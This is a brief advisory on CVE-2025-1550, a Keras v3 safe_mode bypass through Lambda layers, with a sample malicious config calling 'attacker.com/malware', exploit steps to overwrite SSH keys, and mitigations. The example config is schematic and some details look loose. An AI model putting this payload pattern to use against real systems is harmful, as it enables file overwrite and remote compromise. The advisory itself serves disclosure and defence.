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How the CVE Works
CVE-2025-1550 bypasses Keras v3’s `safe_mode` protection by exploiting built-in module functions like keras.utils.get_file(). Attackers craft malicious Keras models with manipulated `Lambda` layer configurations, forcing the model to download and overwrite files remotely. Since the payload uses allowed modules (keras, keras_hub, etc.), `safe_mode` fails to block it. The exploit enables arbitrary file writes (e.g., SSH authorized_keys) and potential RCE, despite Keras’ patch restricting deserialization to internal modules only.
DailyCVE Form
Platform: Keras
Version: v3.8.0
Vulnerability: Unsafe deserialization bypass
Severity: Critical
Date: 2025-03-15
Prediction: Patch by 2025-04-10
What Undercode Say
Malicious model load bypassing safe_mode
model = load_model("malicious.keras", safe_mode=True)
Exploit via Lambda layer
config = {
"class_name": "Lambda",
"config": {
"function": {"module": "keras.utils", "config": "get_file"},
"arguments": {"origin": "attacker.com/malware", "cache_dir": "/tmp"}
}
}
How Exploit
1. Craft model with malicious `Lambda` layer.
2. Trigger `keras.utils.get_file()` to download payload.
3. Overwrite critical files (e.g., SSH keys).
Protection from this CVE
- Disable `Lambda` layers via
block_all_lambda. - Audit `keras.utils` for gadget functions.
- Restrict model sources.
Impact
- Arbitrary file write.
- Remote code execution.
- SSH compromise.
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Sources:
Reported By: github.com
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